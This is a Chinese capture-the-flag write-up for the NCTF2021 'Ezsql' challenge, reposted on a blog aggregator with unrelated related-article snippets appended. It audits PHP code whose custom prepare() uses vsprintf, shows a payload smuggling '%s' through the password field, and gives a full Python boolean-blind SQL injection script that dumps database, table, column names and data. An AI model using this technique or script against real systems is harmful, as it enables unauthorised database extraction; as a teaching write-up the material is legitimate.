NCTF2021 Ezsql

article/2025/9/16 7:47:22

好兄弟👦发来的题目,👴当时没做出来,幸好环境还在

这道题测试一遍后,没什么收获,马后炮先扫描网站目录

发现源码,共有三个文件:config.phpDB.phplogin.php

代码审计

config是连接数据库的文件,没啥用,login是登录页面,DB是处理文件,这两个需要着重看一下,文件先挂在下面

login.php

<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html><head><title>There is no absolutely safe system</title></head><body>
<?php
if (isset($_POST['password'])){$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);if (isset($_POST['name'])){$query = db::prepare($query . " and name=%s", $_POST['name']);}else{$query = $query . " and name='benjaminEngel'";}$query = $query . " limit 1";$result = db::commit($query);if ($result->num_rows > 0){die('NCTF{ez');}else{die('Wrong name or password.');}
}
else{?><form action="login.php" method="post"><input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled><input type="password" name="password" id="password" placeholder="Enter password"><button type="submit">Submit</button></form>
<?php 
}
?></body>
</html>

先看login.php,传入password后,放进prepare方法里,看单词应该是个处理方法,然后判断是否传入name,若有就再次放进prepare处理,若无就将name设置为‘benjaminEngel’(前端单词却是bejaminEngel)。随后,把语句设置为查询一条数据,放进commit方法里。如果查询到了数据就输出一段flag,否则输出错误报告

DB.php

<?phpclass DB{private static $db = null;public function __construct($db_host, $db_user, $db_pass, $db_database){static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);}static public function buildMySQL($db_host, $db_user, $db_pass, $db_database){return new DB($db_host, $db_user, $db_pass, $db_database);}public static function getInstance(){return static::$db;}public static function connect_error(){return static::$db->connect_errno;}public static function prepare($query, $args){if (is_null($query)){return;}if (strpos($query, '%') === false){die('%s not included in query!');return;}// get args$args = func_get_args();array_shift( $args );$args_is_array = false;if (is_array($args[0]) && count($args) == 1 ) {$args = $args[0];$args_is_array = true;}$count_format = substr_count($query, '%s');if($count_format !== count($args)){die('Wrong number of arguments!');return;}// escapeforeach ($args as &$value){$value = static::$db->real_escape_string($value);}// prepare$query = str_replace("%s", "'%s'", $query);$query = vsprintf($query, $args);return $query;}public static function commit($query){$res = static::$db->query($query);if($res !== false){ return $res;}else{die('Error in query.');}}
}
?>

DB这里是最核心的部分,根据login文件可知,prepare和commit是核心的方法,向prepare传入两个参数,根据login.php可知,一个是sql语句一个是参数。若语句为空就直接返回,若语句里没有%,就输出报错然后返回。将此方法的参数放到一个数组里,将此参数数组第一个元素删除,将args_is_array设置为false(这个没啥用,没找到用到此布尔变量的地方),若参数数组含有一个元素且此元素为数组,那么将此元素赋给参数数组。计算sql语句中%s的个数,跟参数数组中的元素个数不同则报错并返回。将参数进行转义。将%s替换为'%s',将参数值放入sql语句中。commit方法,先进行查询,然后查询结果不为false就返回res,否则就是输出报错。

分析

这里想闭合符号进行测试,尝试很多都不行,传入引号也会被转义

倘若不传入name,语句拼接了name并且限制一条数据,这个时候就只能从password入手,但password会被加上单引号,想闭合也会被转义,所以我们必须传入name,后续操作也要在name中进行。可在name中操作,就算没有转义,你闭合了符号,由于前面限制了password=md5(%s),你也查不到任何东西。这里卡住了,最终思路是,改闭合password那里。这就很妙了,我们将password里传入格式化字符串%s(%需要编码),这样的话,传入的name值就作为password里的字符串,在password那里闭合小括号,后面注释就可以了。但是格式化字符和参数个数不一致会报错。所以这里想到name传入数组,传入两个name用于平衡格式化字符串,后面那个name值随便是啥,反正都被注释了。(源码自己运行测试,加几个print语句,看语句如何构造的,用于理解这题很有帮助)

所以传入一句进行测试:password=%25s&name[0]=) union select 1,2,3#&name[1]=随便

由于没有其他回显,查询不到会报错,所以直接布尔盲注,采用二分法

脚本

import binascii
import timeimport requestsurl = "http://129.211.173.64:3080/login.php"Success_message = "NCTF"
payload = ""
data = {"password": "%s","name[0]": payload,"name[1]": "随便"
}def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr(database(),%d,1))>%d#" % (i, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakdb_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d#" % (j, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print("表名: " + name)table_list = name.split(",")for tab_name in table_list:column_name(tab_name)def column_name(tab_name):name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ') or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=%s),%d,1))>%d#' % (("0x" + binascii.b2a_hex(tab_name.encode()).decode()), j, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print(("%s表的字段名: " + name) % tab_name)column_list = name.split(",")for col_name in column_list:get_data(tab_name, col_name)def get_data(tab_name, col_name):dt = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:data["name[0]"] = ") or ascii(substr((select(group_concat(`%s`))from `%s`),%d,1))>%d#" % (col_name, tab_name, i, mid)time.sleep(0.1)res = requests.post(url=url, data=data)if Success_message not in res.text:end = midelse:begin = mid + 1mid = (begin + end) // 2if mid == 32:print()breakdt += chr(mid)print(("%s表的%s字段数据: " + dt) % (tab_name, col_name))if __name__ == '__main__':database_name()table_name()

脚本改个url直接运行,由于有转义函数的存在,所以部分paylaod里的等于表名不能用引号包裹,改成十六进制字符串就好。group_concat或者from表名时,用反引号包裹绕过。


http://chatgpt.dhexx.cn/article/9HGgqS2Y.shtml

相关文章

2022 NCTF

MISC 炉边聚会 卡组代码是 Base64 编码的字节串&#xff0c;exp <?php $deckstring "AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAiBogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgAAD4AO2B7wFkgnMCMwIga2B/QImgi6BJAIiAn2BOIJAAA"; #这是⼀个⾮常有趣的萨满卡组 $binary bas…

NCTF2022-复现

文章目录 NCTF2022-复现比赛题目比赛总结MiscSignin只因因炉边聚会zystegoqrssssssssqrssssssss_revenge 参考&#xff1a; NCTF2022-复现 比赛题目 NCTF2022 比赛总结 本次比赛&#xff0c;web还是一无所获&#xff0c;自己还是差的很多。反观misc&#xff0c;这次比赛六道…

NCTF2022 Web Writeup

1.calc 题目地址&#xff1a;http://116.205.139.166:8001/ 右键 /source 源码 app.route("/calc",methods[GET]) def calc():ip request.remote_addrnum request.values.get("num")log "echo {0}{1}{2}> ./tmp/log.txt".format(time.strf…

NCTF web总结与复现

前言 打完NCTF休息了一下&#xff0c;总体感觉还行&#xff0c;学到了很多。 calc 这一题也卡了我很久&#xff0c;因为复现过DASCTF三月赛&#xff0c;一直在想着有没有可以替代反引号或绕过的方法&#xff0c;搞了好久都没出&#xff0c;在学长的提示下学到了一个方法&…

CNN网络设计

系列文章目录 文章目录 系列文章目录前言一、CNN基本概念二、卷积计算类型其他算子常用激活函数经典轻量化模型 前言 一图胜千言 一、CNN基本概念 感受野指的是卷积神经网络每一层输出的特征图(feature map)上每个像素点映射回输入图像上的区域大小&#xff0c;神经元感受野…

CNN基本结构和经典网络

卷积网络的基本结构 数据输入层/ Input layer 3种常见的图像数据处理方式&#xff1a;一般CNN只用去均值 卷积计算层/ CONV layer 基本概念&#xff1a; depth:与神经元&#xff08;filter&#xff09;个数相等stribezero-padding 卷积宽长深度计算&#xff1a; 激励层(R…

CNN概述

CNN 卷积神经网络简介 特点 将大数据量的图片降维成小数据量有效保留图片特征 应用领域 人脸识别、自动驾驶、无人安防 CNN解决的问题 图像的数据量太大&#xff0c;导致成本很高&#xff0c;效率很低图像在数字化的过程中容易丢失特征&#xff08;其实就对应了两个特点&…

常见CNN网络结构的详解和代码实现

1. AlexNet 论文地址:ImageNet Classification with Deep Convolutional Neural Networks 2012年提出的AlexNet的网络结构为&#xff1a; 结构说明如下&#xff1a; 1.1 ReLu(Rectified Linear Units)激活函数&#xff1a; Relu函数为 r e l u ( x ) m a x { 0 , x } { …

图像分类网络-经典CNN网络简介

在CNN网络结构的演化上&#xff0c;出现过许多优秀的CNN网络&#xff0c;CNN的经典结构始于1998年的LeNet&#xff0c;成于2012年历史性的AlexNet&#xff0c;从此大盛于图像相关领域&#xff0c;主要包括&#xff1a; 发展历史&#xff1a;Lenet --> Alexnet --> ZFnet …

使用PyTorch搭建CNN神经网络

使用pytorch搭建CNN神经网络 卷积运算的基本原理单层卷积运算valid convolutionsame convolution CNN的基本结构数据输入层卷积层池化层全连接层 数据导入的实现构建基础的CNN网络网络的设计损失函数和优化器训练函数和测试函数实现CNN网络的训练和测试 Googlenet的实现网络框架…

CNN(卷积神经网络)概述

过去几年&#xff0c;深度学习&#xff08;Deep learning&#xff09;在解决诸如视觉识别(visual recognition)、语音识别(speech recognition)和自然语言处理(natural language processing)等很多问题方面都表现出非常好的性能。在不同类型的深度神经网络当中&#xff0c;卷积…

CNN卷积网络

CNN卷积神经网络 1.与全连接神经网络的区别 1).总有至少一个卷积层 2).卷积层级之间的神经元是局部连接和权值共享(整张图片在使用同一个卷积核内的参数&#xff0c;卷积核里的值叫做权重&#xff0c;不会因为图像内位置的不同而改变卷积核内的权系数&#xff09;&#xff0…

CNN(卷积神经网络)

一、卷积神经网络 1、CNN的基本知识 1、卷积神经网络(Convolutional Neural Networks&#xff0c;CNN)的作用&#xff1a;1.cnn跟全连接的区别&#xff1a;原来一个输出神经元的计算是跟所有输入层的神经元相连&#xff0c;现在只是局部输入层的神经元相连&#xff1b;同一所…

CNN卷积神经网络

目录 一、BP神经网络回顾 二、CNN卷积神经网络 1、CNN的主要概述 2、CNN的一般结构 三、CNN卷积神经网络的应用 四、常见的CNN卷积神经网络 一、BP神经网络回顾 人工全连接神经网络 &#xff08;1&#xff09;每相邻两层之间的每个神经元之间都是有边相连的 &#xff0…

深度学习----CNN几种常见网络结构及区别

一、 CNN结构演化历史的图二、 AlexNet网络 2.1 ReLU 非线性激活函数 多GPU训练(Training on Multiple GPUs)局部响应归一化(Local Response Normalization)重叠池化(Overlapping Pooling) 2.2 降低过拟合( Reducing Overfitting) 数据增强(Data Augmentation)Dropout 三、VG…

神经网络--从0开始搭建全连接网络和CNN网络

前言&#xff1a; Hello大家好&#xff0c;我是Dream。 今天来学习一下如何从0开始搭建全连接网络和CNN网络&#xff0c;并通过实验简单对比一下两种神经网络的不同之处&#xff0c;本文目录较长&#xff0c;可以根据需要自动选取要看的内容~ 本文目录&#xff1a; 一、搭建4层…

经典CNN网络:Resnet18网络结构输入和输出

前言 Q1:每当看到一个新的网络&#xff0c;总会思考&#xff0c;这个网络提出来有什么意义&#xff0c;解决了什么问题&#xff1f; Resnet18中的resnet就时网络结构呗&#xff0c;18应该是权重层的数量(参照VGG16的命名方法&#xff0c;应该时这样理解)。 Q2:为什么会出现Resn…

深度学习——CNN卷积神经网络

基本概念 概述 卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;是一种深度学习中常用于处理具有网格结构数据的神经网络模型。它在计算机视觉领域广泛应用于图像分类、目标检测、图像生成等任务。 核心思想 CNN 的核心思想是通过利用局部…

通俗易懂:图解10大CNN网络架构

作者 | Raimi Karim 译者 | Major 编辑 | 赵雪 出品 | AI科技大本营&#xff08;ID: rgznai100&#xff09; 导语&#xff1a;近年来&#xff0c;许多卷积神经网络&#xff08; CNN &#xff09;跃入眼帘&#xff0c;而随着其越来越深的深度&#xff0c;我们难以对某个 CNN 的结…

详解CNN卷积神经网络

详解卷积神经网络(CNN) 详解卷积神经网络CNN概揽Layers used to build ConvNets 卷积层Convolutional layer池化层Pooling Layer全连接层Fully-connected layer 卷积神经网络架构 Layer PatternsLayer Sizing PatternsCase Studies 参考 卷积神经网络&#xff08;Convolutional…